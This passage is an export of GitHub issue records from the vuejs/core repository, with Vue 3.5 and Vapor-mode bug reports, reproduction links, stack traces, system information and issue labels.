        return myTile.value;
      }),
    }
  ]);
```

### What is expected?
The ""title"" type is ComputedRef<string>

### What is actually happening?
The ""title"" type is string

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-08-19T07:43:50Z,2025-08-20T13:14:27Z,5
vuejs/core,3332827264,[Vapor] Must be called at the top of a `setup` function in `vue-1i8n`,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://github.com/czhlin/vue-vapor-i18n-issue

### Steps to reproduce

1.run app
`yarn`
`yarn dev`
2.see error

### What is expected?

it works

### What is actually happening?

Uncaught SyntaxError: Must be called at the top of a `setup` function (at message-compiler.mjs:77:19)
    at createCompileError (message-compiler.mjs:77:19)
    at createI18nError (vue-i18n.mjs:61:12)
    at useI18n (vue-i18n.mjs:2138:15)
    at setup (App.vue:4:15)

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-08-19T04:18:37Z,2025-08-19T07:19:04Z,1
vuejs/core,3328352209,[Teleport] Cannot find the target node when teleport nested and set conditional rendering,"### Vue version

3.5.18

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ifzgrlqm?file=src%2FTTeleport.vue&terminal=dev

### Steps to reproduce

1. Open the browser console.
2. Delete/restore ` v-if=""isVue3""` and wait for hot update.


### What is expected?

Correctly handle mounting nodes inside components

### What is actually happening?

The target element cannot be found when processing the mount node.
TypeError: Cannot read properties of null (reading 'nextSibling')
    at nextSibling (vue.js?v=f5f5a4e4:10626:31)
    at removeFragment (vue.js?v=f5f5a4e4:8075:14)
    at remove2 (vue.js?v=f5f5a4e4:8046:9)
    at unmount (vue.js?v=f5f5a4e4:8024:9)
    at Object.remove (vue.js?v=f5f5a4e4:3087:9)
    at unmount (vue.js?v=f5f5a4e4:7999:20)
    at patch (vue.js?v=f5f5a4e4:6789:7)
    at ReactiveEffect.componentUpdateFn [as fn] (vue.js?v=f5f5a4e4:7550:9)
    at ReactiveEffect.run (vue.js?v=f5f5a4e4:495:19)
    at vue.js?v=f5f5a4e4:2586:14

### System Info

```shell
Although this seems to have nothing to do with the system environment, I will still attach my device information.


  System:
    OS: macOS 15.5
    CPU: (8) arm64 Apple M1
    Memory: 1.20 GB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.1.0 - /usr/local/bin/node
    npm: 9.6.3 - /opt/homebrew/bin/npm
    pnpm: 10.13.1 - /opt/homebrew/bin/pnpm
    bun: 1.1.2 - ~/.bun/bin/bun
  Browsers:
    Brave Browser: 139.1.81.131
    Chrome: 139.0.7258.67
    Safari: 18.5
```

### Any ad... [TRUNCATED]","scope: hmr,:hammer: p3-minor-bug",2025-08-17T13:55:37Z,2025-08-20T12:50:00Z,0
vuejs/core,3324266183,[Vapor]callWithAsyncErrorHandling cannot be intercepted by errorHandler,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uc1OAjEQfpWmFyDBxYjxQFaiEg56UKMem5i1DLDQbZt2umxC9t2ddgU5EG7t95dvZvb80dqsDsAnPPfSlRaZBwyW1YU1bir0MmiJpdHM6Jkq5bY/2AvNGK6d2TENOzZ3zrh+D8FjbyB0K3Q+6pLITR+EyqoCgX6M5T8BkcIeZMy6F/wvVfBpl5jS8lEnI0s+OvHzIUcvjV6Wq2zjjabSqYzg0lS2VODebOzqBZ+wxESuUMrsXhKGLsDwgMs1yO0ZfOObiAn+7sCDq0HwI4eFWwF29PzzFRp6H8nKLIIi9QXyA7xRIXbsZE9BL6j2iS61fa5o+Vjq1ZefNwjaH4aKRaOyTXrB6XKzC6P/1x1nt8lHB6ItftfgYiYtcJzdZddXhbLrIrvh7S9/1LBj

### Steps to reproduce

1. open link click button
2. see console 

### What is expected?

No uncaught error

### What is actually happening?

`Uncaught Error: test`

### System Info

```shell

```

### Any additional comments?

Feedback from vue3+vapor, by uniapp@dcloud fxy

",scope: vapor,2025-08-15T04:06:39Z,2025-11-10T06:15:13Z,1
vuejs/core,3324261219,[Vapor]v-show used on component with non-single-element root node and will be ignored,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uc9PwyAU/lcIl102apzxsFQTNTvoQY16JDGkfW2ZFAjQrsnS/90HTec06gne94N8vO9Ab6xlfQd0Q3NfOGkD8RA6S3phjbvmWrZ4BnJnWksqZ1qyYFkcomnBdZ5NLlTiEKC1SgTAiZA8efqVb8z+itNKKA+cZsjl2YmQLmnwhdGVrNnOG41JDtHOaYF+qcA92SCN9pxuSGIiJ5Qy+4eEBdfBcsaLBoqPX/CdHyLG6bMDD67HJEcuCFdDmOjt6yMMeD+SrSk7hep/yBfwRnUx4yS77XSJsU90Ke192qTU9ZvfDgG0nz8Vg0blmPSc4mbj6v76+lfcNbtIPq5H3OLcSqzyexGl7NOFpBoTlE3Yzybee3AxF76xZpfsbCWUbQQ7p+Mnbwe1sQ==

### Steps to reproduce

1. toggle `vapor`
2. observe the rendering of the right component
 

### What is expected?

The console reported an error.

### What is actually happening?

The console do not reported an error.

### System Info

```shell

```

### Any additional comments?

Feedback from vue3+vapor, by uniapp@dcloud fxy

",scope: vapor,2025-08-15T04:03:02Z,2025-11-18T06:03:24Z,1
vuejs/core,3324257092,[Vapor]Component rendering order is different from normal template rendering,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UctOwzAQ/JXI55JAgzhUViVAPcABEHC0hCxnSV0c2/IjRKry76wdUgpCvc3OzK5n13tybW3ZRyArQr1w0obCQ4i26Lk1bs00rSYaIRYBOqt4AKyKgjayzwChiD6Ybn1Bq2/0m1/+5VNrTat5woxodfQCWZDghdHvsi133mjMuE9mRoTprFTgHm2QRntGVkVWksaVMp/3mQsuwmLmxRbExz/8zg+JY+TJgQfXAyMHLXDXQpjkzcsDDIgPYmeaqNB9QnwGb1RMGSfbTdQNxj7y5bR3Hd46SN2++s0QQPt5qRQ0OcfsZwQ/6vbE6j9x6/Iy9zE94hXfenBpJh6wLq/K8zOu7JaXSzJ+AfZcpnM=

### Steps to reproduce

1. toggle  `vapor` 
2. observe the rendering of the right component

### What is expected?

Keep it in normal mode

### What is actually happening?

Not same

### System Info

```shell

```

### Any additional comments?

Feedback from vue3+vapor, by uniapp@dcloud fxy",scope: vapor,2025-08-15T03:59:50Z,2025-11-18T06:03:44Z,1
vuejs/core,3324242535,props type of generic `defineComponent` is inferred to be any,"### Vue version

3.5.18

### Link to minimal reproduction

https://play.vuejs.org/#eNrtVm1r2zAQ/iuHB0sHwd7WDUaWBrqshRbWlTVsg7oM1b4kamXJSHKakvm/73TOi9um7fZ9Advy6V6ee+7OyiLaL8t4VmHUi/ous7L0oISe7KWRd/M0GqQ61bIojfWwgBzHUuPQ0LtG7btgcQw1jK0pII3ISxp9THWShAuGprxttqbel66XJKRw5WJjJ4koZTJBjVaoeOoL9aLxnK08r52MpghSj9FazMHflghmTJ6LEqTrrbUyo51ncQ8+s6cz9FV5qNdQ+wtWDL/CTXog9C0jZYmSzrdEdRcWq+sfrOAlm5xWl0pmp9aUjsjbIIO9+/TtpBqgPwKce9S5A+et1BP4DboqLtEOdsrgpEe8c/DRx2XI0fkF1K9gbxDgBSQUvXLIUYyTXhoN+6dHMEWLZHIdGIRVcV0ghoAFuwZcZirtCR3Vcuf1q1DvsGdJz2rYacfhSJawooVxpTOOZCwcn/1cKSzN+rmcDRbsOZ4JVWHdT4KoUavDo+6GOzkshK6EAku6skDgpImqTAkrOIJ0kFXUANqrWyJJKgUaMcc8Dh6W2JZcnXeIq04XOoGqzgUHSjVn9VxHHco5Sba3Fe/1KOzNXxXsbteM7vcMFbDdM3T7fmJy5J6hl32lzA3m6z5ZydeCYeW8KVjM5RlaFH7TV00HHhF2oTP8If30i5xL7e7PwHO4WmOwvNYhvpahMo79Piq+Nw2NYCyUw4eeGyqbNY1UyyfZzmSOS9ddaBYjKpwLt/42nIt68GB2n882jmN4B4WhqaEle2kPcNMf/6d4yxRvMhgKwuJNqGF4yIkOdHqaudWoMR1PzSwIF8zbo4tzPoCIeVEpft6pQCu9Owlzaag4G8z0wt9iCkgn3BRp0tKIC7K3OH/Thbdd2L2oIbmr3lR+q01HBOCX4ZZ1WpYboiiBmq5+0pSOZFGXzlaq2lhO4itnNB29jD2NwvknFdpls6cRf0uCvzQS4atwzDJvK2Te2WaK2fUW+VU4vnu0OLXo0M7obF7veWEn6Jvtg7MTat3WZmHySpH2E5vf0BlVBYyN2qdK5wS7pcdoj/h/A03DyB2E6XCrpALQTffwP4fA82Opb+Duxu+WfVETi79maINPInA3fh+/+RDVfwA3ft+Y

### Steps to reproduce

Copy the demo of the generic component from [the official website](https://vuejs.org/api/general.html#definecomponent) to the editor.

```
const Comp = defineComponent(
  <T extends string | number>(props: { msg: T; list: T[] }) => {
    // use Composition AP... [TRUNCATED]",scope: types,2025-08-15T03:49:26Z,2026-03-06T07:34:25Z,0
vuejs/core,3318245554,Directive's Arg type is incorrect,"### Vue version

3.5.18

### Link to minimal reproduction

[test](https://element-plus.run/#eyJBcHAudnVlIjoiPHNjcmlwdCBzZXR1cCBsYW5nPVwidHNcIj5cbmltcG9ydCB7IEVsZW1lbnRQbHVzIH0gZnJvbSAnQGVsZW1lbnQtcGx1cy9pY29ucy12dWUnXG5pbXBvcnQgeyB2ZXJzaW9uIGFzIGVwVmVyc2lvbiwgQ2xpY2tPdXRzaWRlLCBFbFRvb2x0aXAgfSBmcm9tICdlbGVtZW50LXBsdXMnXG5pbXBvcnQgeyByZWYsY29tcHV0ZWQsIHZlcnNpb24gYXMgdnVlVmVyc2lvbiB9IGZyb20gJ3Z1ZSdcblxuZGVmaW5lT3B0aW9ucyh7XG4gIG5hbWU6J1Rlc3QnLFxuICBkaXJlY3RpdmVzOntcbiAgICBDbGlja091dHNpZGVcbiAgfVxufSlcbmNvbnN0IHRvb2x0aXBSZWYgPSByZWY8SW5zdGFuY2VUeXBlPHR5cGVvZiBFbFRvb2x0aXA+IHwgbnVsbD4obnVsbClcbmNvbnN0IHRvb2x0aXBWaXNpYmxlID0gcmVmKGZhbHNlKVxuY29uc3QgcG9wcGVyUGFuZVJlZiA9IGNvbXB1dGVkKCgpID0+IHtcbiAgICAgIHJldHVybiB0b29sdGlwUmVmLnZhbHVlPy5wb3BwZXJSZWY/LmNvbnRlbnRSZWZcbn0pXG5jb25zdCBzaG93RmlsdGVyUGFuZWwgPSAoZTogTW91c2VFdmVudCkgPT4ge1xuICAgICAgZS5zdG9wUHJvcGFnYXRpb24oKVxuICAgICAgdG9vbHRpcFZpc2libGUudmFsdWUgPSAhdG9vbHRpcFZpc2libGUudmFsdWVcbn1cbmNvbnN0IGhpZGVGaWx0ZXJQYW5lbCA9ICgpID0+IHtcbiAgdG9vbHRpcFZpc2libGUudmFsdWUgPSBmYWxzZVxufVxuPC9zY3JpcHQ+XG48dGVtcGxhdGU+XG4gIDxlbC10b29sdGlwIFxuICAgIHJlZj1cInRvb2x0aXBSZWZcIiBcbiAgICA6c2hvdy1hcnJvdz1cImZhbHNlXCJcbiAgICA6dmlzaWJsZT1cInRvb2x0aXBWaXNpYmxlXCJcbiAgICA6c3RvcC1wb3BwZXItbW91c2UtZXZlbnQ9XCJmYWxzZVwiXG4gICAgdGVsZXBvcnRlZFxuICAgIHBlcnNpc3RlbnRcbiAgICBlZmZlY3Q9XCJsaWdodFwiXG4gICAgcHVyZVxuICA+XG4gICAgIDx0ZW1wbGF0ZSAjY29udGVudD5cbiAgICAgIDxoMj5IZWxsbzwvaDI+XG4gICAgIDwvdGVtcGxhdGU+XG4gICAgPGVsLWJ1dHRvbiB2LWNsaWNrLW91dHNpZGU6W3BvcHBlclBhbmVSZWZdPVwi... [TRUNCATED]",scope: types,2025-08-13T12:20:12Z,2025-09-24T09:12:26Z,0
vuejs/core,3312331511,"After using KeepAlive to switch routes, there is an error when referencing the component instance.","### Vue version

3.5.18

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-d8g9pttj?file=src%2FApp.vue

### Steps to reproduce

Change the route

### What is expected?

No error occurred.

### What is actually happening?

The variable has been overwritten.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: keep-alive,scope: custom elements,need discussion",2025-08-12T02:59:39Z,2026-02-12T00:50:16Z,1
vuejs/core,3306735688,SSR hydration mismatch warning/error with v-show + style attr,"### Version
3.5.18

### Reproduction link
[stackblitz.com](https://stackblitz.com/edit/vitejs-vite-ijwibakx?file=Test.vue)







### Steps to reproduce
Wait for the initial command to complete, and then open the DevTools console.

### What is expected?
There are no hydration errors in the console.

### What is actually happening?
There is a hydration error in the console.


---
Interestingly, the same code in the [SFC playground](https://play.vuejs.org/#__PROD____SSR__eNp9UU9PwjAU/yrNu6AJjBgkIThIlHDQAxjl2MTM7Q2KXdu03ZiSfXdft4AcDLe+37/8+t4RHo2JqhJhCrFLrTCeOfSlmXMlCqOtZ0dmMWcNy60uWI+kvQeuuEq1cp59ai3ZLChu8kQ6vCUuHnZBFEGDx8LIxCNNjMWZqFg1cDt9mHEIZg7M+W+JNP4MhMqwnrLJZMxhvlivNsvVJh6Sh8zx8CIJ+uAdNcjFNto7raj9MeRzSHVhhES7Nl5QQw5T1jKBS6TUh5cW87bE/glPd5h+/YPvXR0wDq8WHdoKOZw5n9gt+o5evq+wpveZLHRWSlJfId/QaVmGjp3sqVQZ1b7QtW2f2xsItd24Ze1RudOnQtGgbFo9B7rL4srX/+qOovvWx1VDW/yo0IZMWuAoGkd3E2h+AdLKrmI=) does not produce any hydration errors.

<!-- generated by vue-issues. DO NOT REMOVE -->",scope:hydration,2025-08-09T19:20:51Z,2025-08-20T12:41:08Z,0
vuejs/core,3302823547,Deleting el via a custom directive and patching throws an error due to parent being null.,"### Vue version

3.5.18

### Link to minimal reproduction

~~无，需要自己创建项目复现~~
[Playground](https://play.vuejs.org/#eNp9U01z0zAQ/Ss7OjkzqZMMnIJtBkgPcIAO9OiLY69TFVnS6MMNE/LfWUl1SKZNb9rdt09vvw7sk9b56JGtWWFbw7UDi85rEI3clTVztmZVLfmglXFwAIM9HKE3aoCaUV7NPpyiGxzUFzVoL1G6CZMvgit8EaGtkpa+cI3zFspAVyzhL6yqbDmjMP19zwdU3mXZDMoKDrWEZ3g+NsIjJa0IeJzDarmMOcUiCSeZZDgctGgckgVQXEpaJyIqKz1qBgvCFYuzJDKt+yMQbKs0dhWxB7Nic+oFqe/5Ln+0SlLDoraatcTPBZof2nGqrmbrpDrEGiHU07foc8bjfPK3D9j+fsX/aPfBV7M7gxbNSE07xVxjduhS+PbXd9zT+xQcVOcFod8I/kSrhA8aE+yzlx3JPsNFtV/jMLnc3dvbvUNpp6KC0IA8RnycfmjttdL/y32Xv495NDXq4rQOYeMuhzVZMN7w/jQkKMsSlnELA3HR8ZEAHYqbTg1V0zTFglyJ4XyQbxOurhFut9srhC/W5Pq5pC3XRumw5E/cPWywb7xwNgu0HfZc4l0IF8/9StI+riFeA2019avKZrHVFxBCRCd1Myx/+mncoNjQuZUJOygvHXYZitmUjCI3dAsjZiErDfF4eTzs+A8K61fb)

### Steps to reproduce

我们项目中需要自定义指令通过权限来判断这个dom存不存在，当权限没有的时候会调用el.remove()来删除这个dom，这个问题就是出在没有权限的时候，我极度简化代码后大概是这样

<img width=""375"" height=""515"" alt=""image"" src=""https://github.com/user-attachments/assets/17b5d39d-29ea-407c-965a-c97398889786"" />

图片中的status控制着template渲染，v-del-dom会在mounted后删除div。

``` vue
<template>
  <template v-if=""status === 0"">
    <div v-del-dom>aaa</div>
  </template>
  <template v-if=""status === 1"">
    <div v-del-dom>bbb</div>
  </template>
</template>

<script setup lang=""ts"">
const props = withDefaults(
  defineProps<{
    status?: 0 | 1;
  }>(),
  {
    status: 0,
  }
);
const vDelDom = {
  mounted(el) {
    el.remove();
  },
};
</script>

<style lang=""scss"" scoped></style>
```

下面是调用这个组件的代码
... [TRUNCATED]",,2025-08-08T06:40:26Z,2025-08-09T01:48:52Z,2
vuejs/core,3301822530,`useTemplateRef` is not reactive when used with v-for,"### Vue version

3.5.19

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU1mL2zAQ/itCL0lI4lC2C2WbuMey0PahLdtAXwTFtceJdmVJ6PCmGP/3juT1kR4L7VOi+Q59MyM39I3WSe2BXtGtzQ3XjlhwXqdM8kor40hDvIU9VFpkDm6hJC0pjarIDFWzlxOagXJFclVp76A4YzHJZK6kdYQ7qK6Vl47sAn9+uUCHHjyCEApvsAie3zmfBeG7gM8Wvwh6u/7m+XxBduloltSZ8PAqESAP7jhRB8uvyojiMYv0QiDcgQ8B+Iv1IPzNervpZojTwwPSYgN4ImT73TunJHE/NOwY7U6Mkte54Pk9VobRrNdYTtfbTcf5R/VyGdTLc7XVmUz3mTmAI5F1RZpmkLQt5g6MyC14ncZJj8zpoAM5UAZuN8KRO5ncyO3ZpF6XyoS8hMvxNWBk3MBjG/FyRrsQ/2MQE6FB/O0NtpvJOuiKOouLLvkhubNK4utvwg2MhlVzAeaTdhwfAqPYU0AClmGehw+x5oyHVV/Pj5Df/6F+Z0+hxuhnAxZMDYwOmIvL6OCbLx/hhP8HsFKFF8h+ArwFq4QPGTvaWy8LjD3hxbTv48fJ5WFvb04OpO2bCkEDs418RvEzvX6i9THuRfI86phscYrfajDBEwd4kVwmz17Q9idZo3te

### Steps to reproduce

1. Open reproduction link
2. Use the '+' and '-' buttons to change the target count
3. Observe the counts of the different kinds of template refs

### What is expected?

Both of the computed values to calculate the ref counts should match the target count since that many of each ref is present.

### What is actually happening?

The version using `useTemplateRef` (""hello"") is stuck at the starting value and does not update reactively.

The version using the pre 3.5 syntax (""world"") updates reactively like I would expect.

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (8) x64 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
    Memory: 9.07 GB / 31.73 GB
  Binaries:
    Node: 22.17.0 - C:\Program Files\nodejs\node.EXE
... [TRUNCATED]",,2025-08-07T20:46:40Z,2025-08-08T00:36:57Z,0
vuejs/core,3293277625,`onTrigger` never called with computed ref,"### Vue version

3.5.18

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUl1r2zAU/St3YuAEjMfoBiNrC9vIwwr9oO2joDXOteNWlox0lQSM/3uv5MZ1oC3tg8HW+fC556oTf9o223gUC3HsClu3BA7Jt6dS101rLEEHFssUCtO0nnCVwjanYr0sSywIeiitaSBhh+S31FIXRjuCTa7gJOhmyRqVMsn8BXOmwX/PZkza+85mczg5hfuvHYszfjz2X+5T6KQGMPrW5sXjAgZSMDIKM2WqWUIBGW2SeboX1FWF9g1JxA5Ffcw4Ge450VQ5Rpt/ONjE8FPZDnT7dAfMc0851boKbXP9TBjjca/J1li1SoLq+NuwWd4pfxA2rcoJ+Qug6w730feBPqGIVJDj35Z1lT04o/mexMGlCOXVCu1lSzXHkmIxVBKwnHe+PYtnZD3GsaNmjcXjK+cPbhfOpLiy6NBuUIoRo9xWSAO8vLnAHb+PYGNWXjH7HfAauTIfMg60v16vOPaEF9P+j7ed67x1yx2hdvuhQtDA7CNfCr7qoa63Rn+Je5T9iDpeHrd4t0EbPLnAo+xn9v2X6J8AkXosGQ==

### Steps to reproduce

Look at the console output.

### What is expected?

We should see `trigger computed` logged out from the `onTrigger` function being called.

### What is actually happening?

Only the `onTrack` function for the computed ref is being called.",,2025-08-05T14:08:28Z,2025-08-06T01:22:54Z,2
vuejs/core,3287235707,"Under special conditions, the blockStack will grow indefinitely, leading to a memory leak.","### Version
3.5.18

### Reproduction link
[stackblitz.com](https://stackblitz.com/edit/vitejs-vite-photcihh?file=src%2Fviews%2Ftest-table.vue)







### Steps to reproduce
- npm install && npm run dev
- Open the Chrome browser and visit the home page.
- For specific operations, please check the following video.

**Video Proof**: [Click to view](https://www.loom.com/embed/b89c71cc570b4af2ad971bcae073ef7f?sid=e9d235fb-8279-4560-a698-558a49e29cff)  



### What is expected?
Once the operation is stopped, the length of the ```blockStack``` array in ```runtime-core.esm-bundler.js``` should be reset to 0.

停止操作后，文件```runtime-core.esm-bundler.js```中```blockStack```长度应该为0.

### What is actually happening?
Once the operation is stopped, the length of ```blockStack``` in ```runtime-core.esm-bundler.js``` will grow indefinitely, causing a memory leak.

---
> If the line of code ```<div v-if=""row.editConfigs[item.prop]"">aaaa:</div>``` doesn't exist in the ```src/views/test-table.vue```e file, there won't be any problems.

> 如果src/views/test-table.vue文件中没有```<div v-if=""row.editConfigs[item.prop]"">aaaa:</div>```这行代码，就不会有问题

<!-- generated by vue-issues. DO NOT REMOVE -->",need more info,2025-08-03T14:36:15Z,2025-11-05T13:53:07Z,6
vuejs/core,3280844037,Computed value behaviour that I am not expecting,"### Version
3.5.18

### Reproduction link
[play.vuetifyjs.com/](https://play.vuetifyjs.com/#eNqNU8FOwzAM/RWTA92krhMgJJjWSXwAHBA3hkRoXBYpTUOaTEil/46TlNGxC5fNeX5+frbV5551tlreGVPsPbIVWztsjOION1sNsN4vuDExjI+6tQ3sF00rUJVbtudKii0b85FRtdpxqdEewAg7/HSLWqISvzBMlDRvcMumuZ0UuBBIYqojAveuPSYo/hZLH05KV9YrDEVB9THE0/xy4uy+FZJciRX0PZCX+IBhOAy0PJ0oYGEPaUH0SBtaLyebo2dXWWkcdOi8Ia/6nfw4MhLLZGNa66CHqm2MdyhysFjDALVtG8joFFkQAcrrzkGYA8pAmWVP2Lls/puLNxiTNVcdTnKHicpDo9lsDuUG+jSLrGEWBQr69Tj/wYHknLca+tB6FQ0kyria8W9kaa9UAAbqfew6bp/aPyd+lAj9z85S+PUF2SN+eGlRFFn+hxW8UXR+nqBCoX53O9iUcDkPpa/3UsMlVDtueeXQdq//VFiXcHE9SvBPik80XsJF0w3pYmzI2VVxXVzcsBDcFlcsj8vOjz6fhL18A3oHCmM=)







### Steps to reproduce
Open developer console, and remove one character from the text input. You will get an error in the console saying that the name is too short, when it should not happen, since the computed value should be ""not null"" if the form is valid.

### What is expected?
I am computing a value only if the form is valid, so I have a condition like:

if (valid.value) {
// instantiate object that throws an error if the values are not valid
}

But it seems that the object is instantiated even though the form is invalid.

### What is actually happening?
The computed value depends on several refs:

- name
- valid

and my feeling is that it gets triggered when the form is valid, but the name ref is still not updated. Therefore it is trying to instantiate an object with an ""old"" value for the name.

<!-- generated by vue-issues. DO ... [TRUNCATED]",,2025-07-31T15:15:16Z,2025-07-31T16:55:34Z,2
vuejs/core,3279635977,`_cache` is not initialized in SSR,"### Vue version

c875019d49b4c36a88d929ccadc31ad414747c7b

### Link to minimal reproduction

https://play.vuejs.org/#__PROD____SSR__eNqlUk1PwzAM/StWLuuk0h3gNHVDDHEAiQ8B4kI4lM7bAm0SJe6YNPW/46TbQIyPA4e2eX7287ObtTixNls2KIYiJ6xtVRCOpQbIp2oZD3xcHhTWbkCEdaE08AdrM5Li8UmKHRv5Z9LjSUNkdD7o0K6YcajeSjPcaueDrmU++GSEoS+dsgQeqekSVW2NI1jDFGdK46lhrFFTCgtoYeZMDT0eqRdyw1Ma7QkeeFIYfa1J1p2RqD6ExDpjVylr+8qQh7YPozEk8b1Iemywl3ZUxkJFU9FxlvT7QaON702vy7CgP5vti+8rTeh/Qvmg299YpII8i87UPHvxRvMfjypSlCyrKnTXlhQ3lWIIG30piqoybxcxRq7BdBsvF1i+fhN/8asQk+LGoUe3RCl2HBVujtTRZ3dXuOLzjqzNtKk4+xfyFr2pmuCxS5s0esq2P+VFt+fxeig9v/dnK0Ltt0MFo3EtMV8KviNhoz+N/mH3MDuKdVK3on0HBRADgg==

### Steps to reproduce

Same issue as https://github.com/vuejs/core/issues/7644 but for `vMemo`, fixed by https://github.com/vuejs/core/commit/05f94cf7b01dd05ed7d3170916a38b175d5df292.

### What is expected?

Do not SSR

### What is actually happening?

`_cache[0]` is referenced without ever initializing or importing the cache. This results in a hard crash on trying to render the component.

### System Info


### Any additional comments?

_No response_","scope: ssr,:hammer: p3-minor-bug",2025-07-31T08:47:54Z,2025-08-21T02:03:17Z,0
vuejs/core,3279155405,v-show can't work when component root vnode is Fragment,"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VN9v0zAQ/leOvLSTupQUkFBpisq0B0ACxPZGELLSa+fNtSPbyTpV+d+5c9IkHaxPie/Hd999vvMhWhVFXJUYzaOFy60sPCiht2kWebfPomWm5a4w1sMBNO79rcwfoIaNNTsYUdpo4Le4mcAaN1LjlSGjRu0ncGuFdtJLoyfwFbFYKVnhBHKKKD2un4FlOjfaedDlDlJGHCcXvXWVkPFZhfH4AtIlHDINBMpR7s48tsnelhjyAYR70jlsSp0zF7gTeq3wSlE/BBCyIWTGlVAlUv5GKIeNXTwKSZza/seEyFbi2AXP2FQ3lSz60mpoeC1IQQ5erGUFRoeC6aHxnZR71Z/qZf8/h0N/iL258Vbq7fiiXkwJ8Qjei9xa2oLVJSenA4i6JzGQoF7yfSRzyPkEO4ScvFv6HGWG2UnB6bOKiyl96glPidgR6dEqGUE9vLrZ+as7fzFDqZMXpT6R+J/uZue6S47dNZxxH2aa+IpShe/5kWMXUTsOdRswYJ0Sb/jIAzwnKcIAnXLvVgOkzlW5xvTwi0X8XR8l5xotHIvNmndJHfFML6bNGpMpHJ1/UuyPq0uijvZSkM60gcGiUFTYWpp+fHevczCFyKV/gsQBCocfqAhDdki8uEMcbxqMNm8Or5sUohRIRBN6VEiwjdzG985oenNCfBaxcFKh/V5wZZdFNPZN21kklDKPX4KN15kKNvb8DvOH/9jv+d2a088Piw5thVnU+bywW/SN+/rmGy30wLkz61JR9BnnT3RGlcyxCftU8pDZQVxg+zk8ibSnt+5675EEbZtiomF8Q3wW0aPH1/pS6z3dN/HbduxrUvFPhZYxScA38bs4eR/VfwH8te5l

### Steps to reproduce

1. click component 1  . now the v-show should hide element
2. clicl component 2.  now component1 should hide element

### What is expected?

component 1 should hide the element

### What is actually happening?

component 1 did not hide the element

### System Info

```shell

```

### Any additional comments?

if you change root component `<></>` to `<div></div>` . it will work perfect","has workaround,:hammer: p3-minor-bug",2025-07-31T05:18:47Z,2025-08-01T00:54:54Z,10
vuejs/core,3274267951,defineProps sets a default value for a optional prop when using Generics in the props type,"### Vue version

3.5.18

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kdFLwzAQxv+VkCeF0SFTkJlVVPYwH3ToHgNS21vNTJOQXGuh9n/30rI5Qdan3n1fvvzu0vE755KmBj7nAqFyOkNIpZEoCtWkXYcQsO/FNFbSiOmRR4TcK4csANaO6cyUC8kxSE4atM56ZMog+G2WA9tQzmpfiU3KunhJTL+dsw37ZrUpYKsMFDfS9KSZ3JqAzHnrAluwUVzHSvzNerdWQ2aOI9L07JxixHQkJB4+ITJK3Koy2QVraFwCYEzy3FZOafDPDhXdKPk8ojH6JM+0tl+PQw99DZN9P/+A/POf/i60sSf52kMA34DkBw0zXwKO8vL1CVr6P4iVLWpN7hPiCwSr68g42u5pWsI+8g20qyouXplyE5Ytggn7oSJodPaDX3J684cTo//izpLL4Rw9C23xrQEfM2mBs+Qqubjm/Q/UkcSH

### Steps to reproduce

To reproduce this bug you need to define a type with generics, one of the props will be optional or the generic type.
in the componente, use defineProps<GenericInterface<boolean>>.
if the generic is using boolean as the generic type, the defineProps macro will set the attribute to `false` instead of leaving it as undefined

### What is expected?

The prop should have an `undefined` value.

### What is actually happening?

The prop is set to `false`

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (8) arm64 Apple M2
    Memory: 125.22 MB / 24.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.17.0 - ~/.nvm/versions/node/v22.17.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v22.17.0/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v22.17.0/bin/npm
  Browsers:
    Chrome: 138.0.7204.169
    Safari: 18.5
  npmPackages:
    vue: ^3.5.18 => 3.5.18
```

### Any additional comments?

_No response_",,2025-07-29T16:33:27Z,2025-08-02T14:02:18Z,1
vuejs/core,3265615550,Teleport fails on ssr if to is undefined on mount.,"### Vue version

3.5.18

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNqFUk1Lw0AQ/SvjXqogCVIEKbX4gQc9qKjHBUmTSV272V12J22l9L87u2mjSKm32XnvTd6bzFpcO5ctWhQjMQ6lV44gILVuIo1qnPUEa/BYwwZqbxsYMHUgTWlNIKDCz5DgMhKOW1NhrQxWJ9LkOQQGSZkZLBV9wNRWX7C0fh4SuEc+iJQBa8d5Z4MN8IOwcbog5BfAuFKLVHA5bYmsgatSq3J+KUU/rBskBUxiMc474r+y3r4Uk1T/VRJqTPsYke2F/JlRpUIx1Vhx86jv8gD0WymLgyvMpLaWw8VqOzLfzezS5V282O5Di1NBgddVq1n2Gazh37SOZClK2zil0T85UrxOKUaQkIgVWtvlQ+qRb/F01y8/sJzv6X+GVexJ8ewxoF+gFD22ixThu9dHXHHdg42tWs3sA+ALBqvb6LGj3fB22fYvXnJ7n46ND+Yt3K0ITdiFikYjc5P4UvAB3h6I/mN3mA2TTpoNb/F9gT7O5AUOs/Ps7EJsvgGzif1Q

### Steps to reproduce

Click any of the buttons when ssr is on and preview is refreshed

### What is expected?

No error, content displayed or moved to the correct dom postition

### What is actually happening?

Failed to execute 'insertBefore' on 'Node': parameter 1 is not of type 'Node'.

### System Info

```shell

```

### Any additional comments?

Filed this originally as #13549 but is was mistakenly marked as duplicate of https://github.com/vuejs/core/issues/11230",,2025-07-26T13:18:01Z,2025-07-26T13:33:20Z,1
vuejs/core,3265406794,Vue crashes when a Symbol is passed to any prop with mismatched type in dev mode,"### Version
3.6.0-alpha.2

### Reproduction link
